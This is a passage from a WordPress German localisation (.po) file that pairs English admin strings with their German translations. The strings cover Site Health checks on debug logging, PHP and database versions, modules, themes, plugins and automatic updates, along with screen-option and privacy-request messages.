file. This means any errors on the site will be written to a file which is potentially available to all users." msgstr "Der Wert %s wurde der Konfigurationsdatei dieser Website hinzugefügt. Das bedeutet, dass alle Fehler auf der Website in eine Datei geschrieben werden, die möglicherweise für alle Benutzer verfügbar ist." #: wp-admin/includes/class-wp-site-health.php:1450 msgid "Your site is set to log errors to a potentially public file." msgstr "Deine Website ist so eingestellt, dass sie Fehler in einer potenziell öffentlich zugänglichen Datei protokolliert." #: wp-admin/includes/class-wp-site-health.php:1441 msgid "Learn more about debugging in WordPress." msgstr "Erfahre mehr über die Fehlerbehebung in WordPress." #: wp-admin/includes/class-wp-site-health.php:1435 msgid "Debug mode is often enabled to gather more details about an error or site failure, but may contain sensitive information which should not be available on a publicly available website." msgstr "Der Fehlersuchmodus wird oft aktiviert, um mehr Details über einen Fehler oder einen Ausfall der Website zu erhalten, kann aber sensible Informationen enthalten, die auf einer öffentlich zugänglichen Website nicht verfügbar sein sollten." #: wp-admin/includes/class-wp-site-health.php:1427 msgid "Your site is not set to output debug information" msgstr "Deine Website ist so konfiguriert, dass sie keine Fehlersuch-Informationen ausgibt" #: wp-admin/includes/class-wp-site-health.php:1403 msgid "Get help resolving this issue." msgstr "Hilfestellung bei der Lösung dieses Problems erhalten." #. translators: Localized Support reference. #: wp-admin/includes/class-wp-site-health.php:1402 msgid "https://wordpress.org/support" msgstr "https://de.wordpress.org/support/" #. translators: 1: The IP address WordPress.org resolves to. 2: The error #. returned by the lookup. #: wp-admin/includes/class-wp-site-health.php:1392 msgid "Your site is unable to reach WordPress.org at %1$s, and returned the error: %2$s" msgstr "Deine Website kann WordPress.org nicht unter %1$s erreichen und gab den Fehler zurück: %2$s" #: wp-admin/includes/class-wp-site-health.php:1383 msgid "Could not reach WordPress.org" msgstr "WordPress.org konnte nicht erreicht werden" #: wp-admin/includes/class-wp-site-health.php:1366 msgid "Communicating with the WordPress servers is used to check for new versions, and to both install and update WordPress core, themes or plugins." msgstr "Die Verbindung mit den WordPress-Servern wird verwendet, um nach neuen Versionen zu suchen und sowohl WordPress-Core, Themes oder Plugins zu installieren und zu aktualisieren." #: wp-admin/includes/class-wp-site-health.php:1358 msgid "Can communicate with WordPress.org" msgstr "Die Verbindung mit WordPress.org wird unterstützt" #. translators: 1: Name of the library, 2: Number of version. #: wp-admin/includes/class-wp-site-health.php:1322 #: wp-admin/includes/class-wp-site-health.php:1338 msgid "WordPress’ utf8mb4 support requires MySQL client library (%1$s) version %2$s or newer. Please contact your server administrator." msgstr "Die utf8mb4-Unterstützung von WordPress erfordert die MySQL-Client-Bibliothek (%1$s) Version %2$s oder neuer. Bitte kontaktiere deinen Server-Administrator." #: wp-admin/includes/class-wp-site-health.php:1316 #: wp-admin/includes/class-wp-site-health.php:1332 msgid "utf8mb4 requires a newer client library" msgstr "utf8mb4 benötigt eine neuere Client-Bibliothek" #: wp-admin/includes/class-wp-site-health.php:1294 msgid "Your MariaDB version supports utf8mb4." msgstr "Deine MariaDB-Version unterstützt utf8mb4." #. translators: %s: Version number. #: wp-admin/includes/class-wp-site-health.php:1287 msgid "WordPress’ utf8mb4 support requires MariaDB version %s or greater. Please contact your server administrator." msgstr "Die utf8mb4-Unterstützung von WordPress erfordert MariaDB-Version %s oder neuer. Bitte kontaktiere deinen Server-Administrator." #: wp-admin/includes/class-wp-site-health.php:1281 msgid "utf8mb4 requires a MariaDB update" msgstr "utf8mb4 erfordert ein MariaDB-Update" #: wp-admin/includes/class-wp-site-health.php:1274 msgid "Your MySQL version supports utf8mb4." msgstr "Deine MySQL-Version unterstützt utf8mb4." #. translators: %s: Version number. #: wp-admin/includes/class-wp-site-health.php:1267 msgid "WordPress’ utf8mb4 support requires MySQL version %s or greater. Please contact your server administrator." msgstr "Die utf8mb4-Unterstützung von WordPress erfordert MySQL-Version %s oder neuer. Bitte kontaktiere deinen Server-Administrator." #: wp-admin/includes/class-wp-site-health.php:1261 msgid "utf8mb4 requires a MySQL update" msgstr "utf8mb4 erfordert ein MySQL-Update" #: wp-admin/includes/class-wp-site-health.php:1251 msgid "UTF8MB4 is the character set WordPress prefers for database storage because it safely supports the widest set of characters and encodings, including Emoji, enabling better support for non-English languages." msgstr "UTF8MB4 ist der Zeichensatz, den WordPress für die Datenbankspeicherung bevorzugt, da er die größte Anzahl von Zeichen und Kodierungen, einschließlich Emoji, sicher unterstützt und eine bessere Unterstützung für nicht-englische Sprachen bietet." #: wp-admin/includes/class-wp-site-health.php:1243 msgid "UTF8MB4 is supported" msgstr "UTF8MB4 wird unterstützt" #. translators: 1: The name of the drop-in. 2: The name of the database engine. #: wp-admin/includes/class-wp-site-health.php:1214 msgid "You are using a %1$s drop-in which might mean that a %2$s database is not being used." msgstr "Du verwendest ein %1$s Drop-In, was bedeuten kann, dass eine %2$s-Datenbank nicht verwendet wird." #. translators: 1: The database engine in use (MySQL or MariaDB). 2: Database #. server minimum version number. #: wp-admin/includes/class-wp-site-health.php:1201 msgid "WordPress requires %1$s version %2$s or higher. Contact your web hosting company to correct this." msgstr "WordPress benötigt %1$s Version %2$s oder höher. Kontaktiere dein Webhosting-Unternehmen, um dies zu korrigieren." #: wp-admin/includes/class-wp-site-health.php:1194 msgid "Severely outdated SQL server" msgstr "Stark veralteter SQL-Server" #. translators: 1: The database engine in use (MySQL or MariaDB). 2: Database #. server recommended version number. #: wp-admin/includes/class-wp-site-health.php:1184 msgid "For optimal performance and security reasons, we recommend running %1$s version %2$s or higher. Contact your web hosting company to correct this." msgstr "Aus Gründen der optimalen Leistung und Sicherheit wird empfohlen, %1$s Version %2$s oder höher auszuführen. Wende dich an dein Webhosting-Unternehmen, um dies zu korrigieren." #: wp-admin/includes/class-wp-site-health.php:1178 msgid "Outdated SQL server" msgstr "Veralteter SQL-Server" #: wp-admin/includes/class-wp-site-health.php:1166 msgid "Learn more about what WordPress requires to run." msgstr "Mehr zu den Voraussetzungen für die Ausführung von WordPress findest du hier." #. translators: Localized version of WordPress requirements if one exists. #: wp-admin/includes/class-wp-site-health.php:1165 msgid "https://wordpress.org/about/requirements/" msgstr "https://de.wordpress.org/about/requirements/" #: wp-admin/includes/class-wp-site-health.php:1160 msgid "The SQL server is a required piece of software for the database WordPress uses to store all your site’s content and settings." msgstr "Der SQL-Server ist eine erforderliche Software für die Datenbank, mit der WordPress alle Inhalte und Einstellungen deiner Website speichert." #: wp-admin/includes/class-wp-site-health.php:1152 msgid "SQL server is up to date" msgstr "SQL-Server ist auf dem neuesten Stand" #. translators: 1: session_start(), 2: session_write_close() #: wp-admin/includes/class-wp-site-health.php:1129 msgid "A PHP session was created by a %1$s function call. This interferes with REST API and loopback requests. The session should be closed by %2$s before making any HTTP requests." msgstr "Eine PHP-Sitzung wurde durch einen %1$s-Funktionsaufruf erzeugt. Dies beeinträchtigt die REST-API- und Loopback-Anfragen. Die Sitzung sollte von %2$s geschlossen werden, bevor irgendwelche HTTP-Anfragen erfolgen." #: wp-admin/includes/class-wp-site-health.php:1123 msgid "An active PHP session was detected" msgstr "Es wurde eine aktive PHP-Sitzung erkannt" #. translators: 1: session_start(), 2: session_write_close() #: wp-admin/includes/class-wp-site-health.php:1112 msgid "PHP sessions created by a %1$s function call may interfere with REST API and loopback requests. An active session should be closed by %2$s before making any HTTP requests." msgstr "PHP-Sitzungen, die durch einen %1$s-Funktionsaufruf erzeugt wurden, können die REST-API- und Loopback-Anfragen beeinträchtigen. Eine aktive Sitzung sollte von %2$s geschlossen werden, bevor irgendwelche HTTP-Anfragen erfolgen." #: wp-admin/includes/class-wp-site-health.php:1102 msgid "No PHP sessions detected" msgstr "Es wurden keine PHP-Sitzungen erkannt" #. translators: %s: date_default_timezone_set() #: wp-admin/includes/class-wp-site-health.php:1084 msgid "PHP default timezone was changed after WordPress loading by a %s function call. This interferes with correct calculations of dates and times." msgstr "Die PHP-Standardzeitzone wurde nach dem Laden von WordPress durch einen %s-Funktionsaufruf geändert. Dies beeinträchtigt korrekte Berechnungen von Datum und Uhrzeit." #: wp-admin/includes/class-wp-site-health.php:1078 msgid "PHP default timezone is invalid" msgstr "PHP-Standardzeitzone ist ungültig" #: wp-admin/includes/class-wp-site-health.php:1069 msgid "PHP default timezone was configured by WordPress on loading. This is necessary for correct calculations of dates and times." msgstr "Die PHP-Standardzeitzone wurde von WordPress beim Laden konfiguriert. Dies ist notwendig für korrekte Berechnungen von Datum und Uhrzeit." #: wp-admin/includes/class-wp-site-health.php:1061 msgid "PHP default timezone is valid" msgstr "PHP-Standardzeitzone ist gültig" #: wp-admin/includes/class-wp-site-health.php:1043 msgid "One or more required modules are missing" msgstr "Ein oder mehrere erforderliche Module fehlen" #: wp-admin/includes/class-wp-site-health.php:1040 msgid "One or more recommended modules are missing" msgstr "Ein oder mehrere empfohlene Module fehlen" #. translators: %s: The module name. #: wp-admin/includes/class-wp-site-health.php:1012 msgid "The optional module, %s, is not installed, or has been disabled." msgstr "Das optionale Modul %s ist nicht installiert oder wurde deaktiviert." #: wp-admin/includes/class-wp-site-health.php:1009 #: wp-admin/includes/class-wp-site-health.php:1807 msgid "Warning" msgstr "Warnung" #. translators: %s: The module name. #: wp-admin/includes/class-wp-site-health.php:1004 msgid "The required module, %s, is not installed, or has been disabled." msgstr "Das erforderliche Modul %s ist nicht installiert oder wurde deaktiviert." #: wp-admin/includes/class-wp-site-health.php:1001 #: wp-admin/includes/class-wp-site-health.php:1389 #: wp-admin/includes/class-wp-site-health.php:1799 msgid "Error" msgstr "Fehler" #. translators: Localized team handbook, if one exists. #: wp-admin/includes/class-wp-site-health.php:845 msgid "https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions" msgstr "https://make.wordpress.org/hosting/handbook/handbook/server-environment/#php-extensions" #. translators: 1: Link to the hosting group page about recommended PHP #. modules. 2: Additional link attributes. 3: Accessibility text. #: wp-admin/includes/class-wp-site-health.php:843 msgid "The WordPress Hosting Team maintains a list of those modules, both recommended and required, in <a href=\"%1$s\" %2$s>the team handbook%3$s</a>." msgstr "Das WordPress-Hosting-Team führt eine Liste der empfohlenen und erforderlichen Module in <a href=\"%1$s\" %2$s>dem Teamhandbuch%3$s (engl.)</a>." #: wp-admin/includes/class-wp-site-health.php:840 msgid "PHP modules perform most of the tasks on the server that make your site run. Any changes to these must be made by your server administrator." msgstr "PHP-Module führen die meisten Aufgaben auf dem Server aus, die deine Website zum Laufen bringen. Alle Änderungen daran müssen von deinem Server-Administrator vorgenommen werden." #: wp-admin/includes/class-wp-site-health.php:832 msgid "Required and recommended modules are installed" msgstr "Erforderliche und empfohlene Module werden installiert" #. translators: %s: The server PHP version. #: wp-admin/includes/class-wp-site-health.php:775 msgid "Your site is running an outdated version of PHP (%s), which requires an update" msgstr "Auf deiner Website läuft eine veraltete Version von PHP (%s), die eine Aktualisierung erfordert" #. translators: %s: The server PHP version. #: wp-admin/includes/class-wp-site-health.php:764 msgid "Your site is running an older version of PHP (%s), which should be updated" msgstr "Auf deiner Website läuft eine ältere Version von PHP (%s), die aktualisiert werden sollte" #. translators: %s: The server PHP version. #: wp-admin/includes/class-wp-site-health.php:752 msgid "Your site is running an older version of PHP (%s)" msgstr "Auf deiner Website läuft eine ältere Version von PHP (%s)" #: wp-admin/includes/class-wp-site-health.php:736 #: wp-admin/includes/dashboard.php:1794 msgid "Learn more about updating PHP" msgstr "Mehr über die Aktualisierung von PHP erfahren" #. translators: %s: The minimum recommended PHP version. #: wp-admin/includes/class-wp-site-health.php:729 #: wp-admin/includes/dashboard.php:1783 msgid "PHP is the programming language used to build and maintain WordPress. Newer versions of PHP are created with increased performance in mind, so you may see a positive effect on your site’s performance. The minimum recommended version of PHP is %s." msgstr "PHP ist die Programmiersprache, mit der WordPress erstellt und gepflegt wird. Neuere Versionen von PHP wurden mit Blick auf eine höhere Leistung erstellt, sodass du möglicherweise einen positiven Effekt auf die Leistung deiner Website siehst. Die empfohlene Mindestversion von PHP ist %s." #. translators: %s: The current PHP version. #: wp-admin/includes/class-wp-site-health.php:717 msgid "Your site is running the current version of PHP (%s)" msgstr "Auf deiner Website läuft die aktuelle Version von PHP (%s)" #: wp-admin/includes/class-wp-site-health.php:697 msgid "Your site does not have any default theme. Default themes are used by WordPress automatically if anything is wrong with your chosen theme." msgstr "Deine Website verfügt über kein Standard-Theme. Standard-Themes werden von WordPress automatisch verwendet, wenn mit deinem gewohnten Theme etwas nicht stimmt." #: wp-admin/includes/class-wp-site-health.php:693 msgid "Have a default theme available" msgstr "Ein Standard-Theme zur Verfügung haben" #. translators: 1: The amount of inactive themes. 2: The default theme for #. WordPress. 3: The currently active theme. #: wp-admin/includes/class-wp-site-health.php:674 msgid "Your site has %1$d inactive theme, other than %2$s, the default WordPress theme, and %3$s, your active theme." msgid_plural "Your site has %1$d inactive themes, other than %2$s, the default WordPress theme, and %3$s, your active theme." msgstr[0] "Deine Website hat %1$d inaktives Theme, mit Ausnahme von %2$s, dem Standard-WordPress-Theme und %3$s, deinem aktiven Theme." msgstr[1] "Deine Website hat %1$d inaktive Themes, mit Ausnahme von %2$s, dem Standard-WordPress-Theme und %3$s, deinem aktiven Theme." #: wp-admin/includes/class-wp-site-health.php:667 #: wp-admin/includes/class-wp-site-health.php:683 msgid "We recommend removing any unused themes to enhance your site’s security." msgstr "Es wird empfohlen, alle nicht verwendeten Themes zu löschen, um die Sicherheit deiner Website zu erhöhen." #. translators: 1: The amount of inactive themes. 2: The currently active #. theme. #: wp-admin/includes/class-wp-site-health.php:659 msgid "Your site has %1$d inactive theme, other than %2$s, your active theme." msgid_plural "Your site has %1$d inactive themes, other than %2$s, your active theme." msgstr[0] "Deine Website hat %1$d inaktives Theme, außer %2$s, dein aktives Theme." msgstr[1] "Deine Website hat %1$d inaktive Themes, außer %2$s, dein aktives Theme." #. translators: 1: The default theme for WordPress. 2: The currently active #. theme. 3: The active theme's parent theme. #: wp-admin/includes/class-wp-site-health.php:641 msgid "To enhance your site’s security, we recommend you remove any themes you’re not using. You should keep %1$s, the default WordPress theme, %2$s, your current theme, and %3$s, its parent theme." msgstr "Um die Sicherheit deiner Website zu verbessern, wird empfohlen, alle Themes zu entfernen, die du nicht benutzt. Du solltest %1$s, das WordPress-Standard-Theme, %2$s, dein aktuelles Theme und %3$s, das übergeordnete Theme, behalten." #. translators: 1: The currently active theme. 2: The active theme's parent #. theme. #: wp-admin/includes/class-wp-site-health.php:622 msgid "To enhance your site’s security, we recommend you remove any themes you’re not using. You should keep your current theme, %1$s, and %2$s, its parent theme." msgstr "Um die Sicherheit deiner Website zu verbessern, wird empfohlen, alle Themes zu entfernen, die du nicht benutzt.Du solltest dein aktuelles Theme, %1$s und %2$s, das übergeordnete Theme, behalten." #. translators: %d: The number of inactive themes. #: wp-admin/includes/class-wp-site-health.php:613 #: wp-admin/includes/class-wp-site-health.php:632 msgid "Your site has %d inactive theme." msgid_plural "Your site has %d inactive themes." msgstr[0] "Deine Website hat %d inaktives Theme." msgstr[1] "Deine Website hat %d inaktive Themes." #: wp-admin/includes/class-wp-site-health.php:606 #: wp-admin/includes/class-wp-site-health.php:652 msgid "You should remove inactive themes" msgstr "Inaktive Themes sollten entfernt werden" #. translators: %d: The number of themes. #: wp-admin/includes/class-wp-site-health.php:588 msgid "Your site has %d installed theme, and it is up to date." msgid_plural "Your site has %d installed themes, and they are all up to date." msgstr[0] "Deine Website hat %d installiertes Theme, und es ist auf dem neuesten Stand." msgstr[1] "Deine Website hat %d installierte Themes, und sie sind alle auf dem neuesten Stand." #: wp-admin/includes/class-wp-site-health.php:581 msgid "Your site has 1 installed theme, and it is up to date." msgstr "Deine Website hat 1 installiertes Theme und ist auf dem neuesten Stand." #. translators: %d: The number of outdated themes. #: wp-admin/includes/class-wp-site-health.php:568 msgid "Your site has %d theme waiting to be updated." msgid_plural "Your site has %d themes waiting to be updated." msgstr[0] "Deine Website hat %d Theme, das darauf wartet aktualisiert zu werden." msgstr[1] "Deine Website hat %d Themes, die darauf warten aktualisiert zu werden." #: wp-admin/includes/class-wp-site-health.php:562 msgid "You have themes waiting to be updated" msgstr "Es gibt Themes, die darauf warten, aktualisiert zu werden" #: wp-admin/includes/class-wp-site-health.php:494 msgid "Manage your themes" msgstr "Deine Themes verwalten" #: wp-admin/includes/class-wp-site-health.php:489 msgid "Themes add your site’s look and feel. It’s important to keep them up to date, to stay consistent with your brand and keep your site secure." msgstr "Themes fügen das Look-and-Feel zu deiner Website hinzu. Es ist wichtig, sie auf dem neuesten Stand zu halten, mit deiner Marke konsistent zu bleiben und deine Website sicher zu halten." #: wp-admin/includes/class-wp-site-health.php:481 msgid "Your themes are all up to date" msgstr "Deine Themes sind auf dem neuesten Stand" #: wp-admin/includes/class-wp-site-health.php:461 msgid "Manage inactive plugins" msgstr "Inaktive Plugins verwalten" #: wp-admin/includes/class-wp-site-health.php:455 msgid "Inactive plugins are tempting targets for attackers. If you’re not going to use a plugin, we recommend you remove it." msgstr "Inaktive Plugins sind verlockende Ziele für Angreifer. Wenn du ein Plugin nicht verwendest, ist es empfehlenswert, es zu entfernen." #. translators: %d: The number of inactive plugins. #: wp-admin/includes/class-wp-site-health.php:448 msgid "Your site has %d inactive plugin." msgid_plural "Your site has %d inactive plugins." msgstr[0] "Deine Website hat %d inaktives Plugin." msgstr[1] "Deine Website hat %d inaktive Plugins." #: wp-admin/includes/class-wp-site-health.php:442 msgid "You should remove inactive plugins" msgstr "Inaktive Plugins sollten entfernt werden" #. translators: %d: The number of active plugins. #: wp-admin/includes/class-wp-site-health.php:425 msgid "Your site has %d active plugin, and it is up to date." msgid_plural "Your site has %d active plugins, and they are all up to date." msgstr[0] "Deine Website hat %d aktives Plugin, und es ist auf dem neuesten Stand." msgstr[1] "Deine Website hat %d aktive Plugins, und sie sind alle auf dem neuesten Stand." #: wp-admin/includes/class-wp-site-health.php:418 msgid "Your site has 1 active plugin, and it is up to date." msgstr "Deine Website hat 1 installiertes Plugin und ist auf dem neuesten Stand." #: wp-admin/includes/class-wp-site-health.php:412 msgid "Update your plugins" msgstr "Aktualisiere deine Plugins" #. translators: %d: The number of outdated plugins. #: wp-admin/includes/class-wp-site-health.php:400 msgid "Your site has %d plugin waiting to be updated." msgid_plural "Your site has %d plugins waiting to be updated." msgstr[0] "Deine Website hat %d Plugin, das darauf wartet, aktualisiert zu werden." msgstr[1] "Deine Website hat %d Plugins, die darauf warten, aktualisiert zu werden." #: wp-admin/includes/class-wp-site-health.php:394 msgid "You have plugins waiting to be updated" msgstr "Es gibt Plugins, die darauf warten, aktualisiert zu werden" #: wp-admin/includes/class-wp-site-health.php:361 msgid "Manage your plugins" msgstr "Deine Plugins verwalten" #: wp-admin/includes/class-wp-site-health.php:356 msgid "Plugins extend your site’s functionality with things like contact forms, ecommerce and much more. That means they have deep access to your site, so it’s vital to keep them up to date." msgstr "Plugins erweitern die Funktionalität deiner Website um Dinge wie Kontaktformulare, E-Commerce und vieles mehr. Das bedeutet, dass sie einen umfassenden Zugriff auf deine Website haben, daher ist es wichtig, sie auf dem neuesten Stand zu halten." #: wp-admin/includes/class-wp-site-health.php:348 msgid "Your plugins are all up to date" msgstr "Deine Plugins sind aktuell" #: wp-admin/includes/class-wp-site-health.php:327 msgid "You are currently running the latest version of WordPress available, keep it up!" msgstr "Du benutzt die neueste WordPress-Version, die verfügbar ist. Weiter so!" #. translators: %s: The current version of WordPress installed on this site. #: wp-admin/includes/class-wp-site-health.php:321 msgid "Your version of WordPress (%s) is up to date" msgstr "Deine Version von WordPress (%s) ist auf dem neuesten Stand." #: wp-admin/includes/class-wp-site-health.php:314 msgid "A new minor update is available for your site. Because minor updates often address security, it’s important to install them." msgstr "Eine neue, kleinere Aktualisierung ist für deine Website verfügbar. Weil kleinere Aktualisierungen oft die Sicherheit betreffen, ist es wichtig, diese zu installieren." #: wp-admin/includes/class-wp-site-health.php:311 #: wp-admin/includes/class-wp-site-health.php:351 #: wp-admin/includes/class-wp-site-health.php:484 #: wp-admin/includes/class-wp-site-health.php:779 #: wp-admin/includes/class-wp-site-health.php:1195 #: wp-admin/includes/class-wp-site-health.php:1361 #: wp-admin/includes/class-wp-site-health.php:1430 #: wp-admin/includes/class-wp-site-health.php:1511 #: wp-admin/includes/class-wp-site-health.php:1650 #: wp-admin/includes/class-wp-site-health.php:1769 #: wp-admin/includes/class-wp-site-health.php:1839 #: wp-admin/includes/class-wp-site-health.php:2191 msgid "Security" msgstr "Sicherheit" #: wp-admin/includes/class-wp-site-health.php:306 msgid "A new version of WordPress is available." msgstr "Eine neue WordPress-Version ist verfügbar." #: wp-admin/includes/class-wp-site-health.php:298 msgid "Install the latest version of WordPress" msgstr "Die aktuelle Version von WordPress installieren" #. translators: %s: The latest version of WordPress available. #: wp-admin/includes/class-wp-site-health.php:291 msgid "WordPress update available (%s)" msgstr "Eine WordPress-Aktualisierung ist verfügbar (%s)" #: wp-admin/includes/class-wp-site-health.php:278 msgid "Check for updates manually" msgstr "Manuell auf Aktualisierungen prüfen" #: wp-admin/includes/class-wp-site-health.php:272 msgid "We were unable to check if any new versions of WordPress are available." msgstr "Es konnte nicht geprüft werden, ob neue WordPress-Versionen verfügbar sind." #: wp-admin/includes/class-wp-site-health.php:250 #: wp-admin/includes/class-wp-site-health.php:722 #: wp-admin/includes/class-wp-site-health.php:835 #: wp-admin/includes/class-wp-site-health.php:1064 #: wp-admin/includes/class-wp-site-health.php:1105 #: wp-admin/includes/class-wp-site-health.php:1155 #: wp-admin/includes/class-wp-site-health.php:1246 #: wp-admin/includes/class-wp-site-health.php:1696 #: wp-admin/includes/class-wp-site-health.php:1882 #: wp-admin/includes/class-wp-site-health.php:1925 #: wp-admin/includes/class-wp-site-health.php:1996 #: wp-admin/includes/class-wp-site-health.php:2099 msgid "Performance" msgstr "Leistung" #. translators: %s: Name of the filter used. #: wp-admin/includes/class-wp-site-health-auto-updates.php:449 msgid "WordPress security and maintenance releases are blocked by the %s filter." msgstr "Sicherheits- und Wartungs-Aktualisierungen von WordPress werden durch den %s-Filter blockiert." #. translators: %s: Name of the constant used. #: wp-admin/includes/class-wp-site-health-auto-updates.php:437 msgid "WordPress security and maintenance releases are blocked by %s." msgstr "Sicherheits- und Wartungs-Aktualisierungen von WordPress werden durch %s blockiert." #. translators: %s: Name of the filter used. #: wp-admin/includes/class-wp-site-health-auto-updates.php:417 msgid "WordPress development updates are blocked by the %s filter." msgstr "Entwicklungs-Aktualisierungen von WordPress werden durch den %s-Filter blockiert." #. translators: %s: Name of the constant used. #: wp-admin/includes/class-wp-site-health-auto-updates.php:405 msgid "WordPress development updates are blocked by the %s constant." msgstr "Entwicklungs-Aktualisierungen von WordPress werden durch die Konstante %s blockiert." #: wp-admin/includes/class-wp-site-health-auto-updates.php:381 msgid "All of your WordPress files are writable." msgstr "Alle deine WordPress-Dateien sind beschreibbar." #: wp-admin/includes/class-wp-site-health-auto-updates.php:376 msgid "Some files are not writable by WordPress:" msgstr "Einige Dateien sind für WordPress nicht beschreibbar:" #: wp-admin/includes/class-wp-site-health-auto-updates.php:350 msgid "This could mean that connections are failing to WordPress.org." msgstr "Dies könnte bedeuten, dass Verbindungen zu WordPress.org fehlschlagen." #. translators: %s: WordPress version. #: wp-admin/includes/class-wp-site-health-auto-updates.php:347 msgid "Couldn't retrieve a list of the checksums for WordPress %s." msgstr "Eine Liste der Prüfsummen für WordPress %s konnte nicht abgerufen werden." #: wp-admin/includes/class-wp-site-health-auto-updates.php:295 msgid "Your installation of WordPress doesn't require FTP credentials to perform updates." msgstr "Deine Installation von WordPress benötigt keine FTP-Zugangsdaten, um Updates durchzuführen." #: wp-admin/includes/class-wp-site-health-auto-updates.php:286 msgid "(Your site is performing updates over FTP due to file ownership. Talk to your hosting company.)" msgstr "(Deine Website führt aufgrund des Dateibesitzes Aktualisierungen über FTP durch. Kontaktiere hierzu dein Webhosting-Unternehmen.)" #: wp-admin/includes/class-wp-site-health-auto-updates.php:285 msgid "Your installation of WordPress prompts for FTP credentials to perform updates." msgstr "Deine WordPress-Installation benötigt FTP-Zugangsdaten, um Aktualisierungen durchzuführen." #: wp-admin/includes/class-wp-site-health-auto-updates.php:263 msgid "No version control systems were detected." msgstr "Es wurde kein Versionskontrollsystem gefunden." #. translators: 1: Folder name. 2: Version control directory. #: wp-admin/includes/class-wp-site-health-auto-updates.php:254 msgid "The folder %1$s was detected as being under version control (%2$s)." msgstr "Der Ordner %1$s wurde als versionskontrolliert erkannt (%2$s)." #. translators: 1: Folder name. 2: Version control directory. 3: Filter name. #: wp-admin/includes/class-wp-site-health-auto-updates.php:241 msgid "The folder %1$s was detected as being under version control (%2$s), but the %3$s filter is allowing updates." msgstr "Der Ordner %1$s wurde als versionskontrolliert erkannt (%2$s), aber der Filter %3$s erlaubt Aktualisierungen." #: wp-admin/includes/class-wp-site-health-auto-updates.php:186 msgid "We'll try again with the next release." msgstr "Wir werden es mit der nächsten Version erneut versuchen." #: wp-admin/includes/class-wp-site-health-auto-updates.php:181 msgid "A previous automatic background update could not occur." msgstr "Eine vorherige automatische Aktualisierung im Hintergrund konnte nicht durchgeführt werden." #. translators: %s: Code of error shown. #: wp-admin/includes/class-wp-site-health-auto-updates.php:172 #: wp-admin/includes/class-wp-site-health-auto-updates.php:189 msgid "The error code was %s." msgstr "Der Fehler-Code war %s." #: wp-admin/includes/class-wp-site-health-auto-updates.php:169 msgid "When you've been able to update using the \"Update now\" button on Dashboard > Updates, we'll clear this error for future update attempts." msgstr "Wenn du das Update über den Button „Jetzt aktualisieren“ unter Dashboard > Aktualisierungen ausführen konntest, wird dieser Fehler für zukünftige Aktualisierungsversuche behoben." #: wp-admin/includes/class-wp-site-health-auto-updates.php:168 #: wp-admin/includes/class-wp-site-health-auto-updates.php:183 msgid "You would have received an email because of this." msgstr "Du solltest deshalb eine E-Mail erhalten haben." #: wp-admin/includes/class-wp-site-health-auto-updates.php:167 msgid "A previous automatic background update ended with a critical failure, so updates are now disabled." msgstr "Eine vorherige automatische Aktualisierung im Hintergrund endete mit einem kritischen Fehler, weshalb Aktualisierungen nun deaktiviert sind." #: wp-admin/includes/class-wp-site-health-auto-updates.php:147 msgid "All automatic updates are disabled." msgstr "Alle automatischen Aktualisierungen sind deaktiviert." #. translators: %s: Name of the filter used. #: wp-admin/includes/class-wp-site-health-auto-updates.php:120 msgid "The %s filter is enabled." msgstr "Der Filter %s ist aktiviert." #. translators: %s: Name of the filter used. #: wp-admin/includes/class-wp-site-health-auto-updates.php:99 msgid "A plugin has prevented updates by disabling %s." msgstr "Ein Plugin hat Aktualisierungen verhindert, indem es %s deaktiviert hat." #. translators: %s: Name of the constant used. #: wp-admin/includes/class-wp-site-health-auto-updates.php:77 msgid "The %s constant is defined and enabled." msgstr "Die Konstante %s wurde definiert und aktiviert." #: wp-admin/includes/class-wp-screen.php:1329 msgid "View mode" msgstr "Ansichtsmodus" #: wp-admin/includes/class-wp-screen.php:1276 msgid "Pagination" msgstr "Seitennummerierung" #: wp-admin/includes/class-wp-screen.php:1236 msgid "Number of items per page:" msgstr "Einträge pro Seite:" #. translators: %s: Number of columns on the page. #: wp-admin/includes/class-wp-screen.php:1214 msgid "%s column" msgid_plural "%s columns" msgstr[0] "%s Spalte" msgstr[1] "%s Spalten" #: wp-admin/includes/class-wp-screen.php:1207 wp-admin/includes/theme.php:321 #: wp-admin/includes/theme.php:357 wp-admin/index.php:68 msgid "Layout" msgstr "Layout" #: wp-admin/includes/class-wp-screen.php:1137 msgctxt "Welcome panel" msgid "Welcome" msgstr "Willkommen" #: wp-admin/includes/class-wp-screen.php:1119 msgid "They can be expanded and collapsed by clickling on their headings, and arranged by dragging their headings or by clicking on the up and down arrows." msgstr "Sie können auf- und zugeklappt werden, indem du auf ihre Überschriften klickst, und durch Ziehen der Überschriften oder durch Klicken auf die Pfeile nach oben und unten neu angeordnet werden." #: wp-admin/includes/class-wp-screen.php:1118 msgid "Some screen elements can be shown or hidden by using the checkboxes." msgstr "Einige Bildschirm-Elemente können durch die Verwendung der Checkboxen ein- oder ausgeblendet werden." #: wp-admin/includes/class-wp-screen.php:1116 msgid "Screen elements" msgstr "Bildschirm-Elemente" #: wp-admin/includes/class-wp-screen.php:1064 msgid "Screen Options Tab" msgstr "Tab „Ansicht anpassen“" #: wp-admin/includes/class-wp-screen.php:1004 msgid "Enable full-height editor and distraction-free functionality." msgstr "Anzeige des Editors in voller Höhe zulassen und ablenkungsfreies Schreiben aktivieren." #: wp-admin/includes/class-wp-screen.php:1002 msgid "Additional settings" msgstr "Zusätzliche Einstellungen" #: wp-admin/includes/class-wp-screen.php:969 msgid "Screen Options" msgstr "Ansicht anpassen" #: wp-admin/includes/class-wp-screen.php:870 msgid "Contextual Help Tab" msgstr "Kontextueller Hilfe-Tab" #: wp-admin/includes/class-wp-screen.php:762 msgid "Items list" msgstr "Elementliste" #: wp-admin/includes/class-wp-screen.php:761 msgid "Items list navigation" msgstr "Navigation der Elementliste" #: wp-admin/includes/class-wp-screen.php:760 msgid "Filter items list" msgstr "Liste mit Filtern" #: wp-admin/includes/class-wp-screen.php:295 wp-admin/post.php:20 msgid "A post ID mismatch has been detected." msgstr "Eine Abweichung der Beitrags-ID wurde entdeckt." #. translators: %d: Number of requests. #: wp-admin/includes/class-wp-privacy-requests-table.php:343 msgid "%d request deleted successfully." msgid_plural "%d requests deleted successfully." msgstr[0] "%d Anfrage wurde erfolgreich gelöscht." msgstr[1] "%d Anfragen wurden erfolgreich gelöscht." #. translators: %d: Number of requests. #: wp-admin/includes/class-wp-privacy-requests-table.php:326 msgid "%d request failed to delete." msgid_plural "%d requests failed to delete." msgstr[0] "%d Anfrage konnte nicht gelöscht werden." msgstr[1] "%d Anfragen konnten nicht gelöscht werden." #. translators: %d: Number of requests. #: 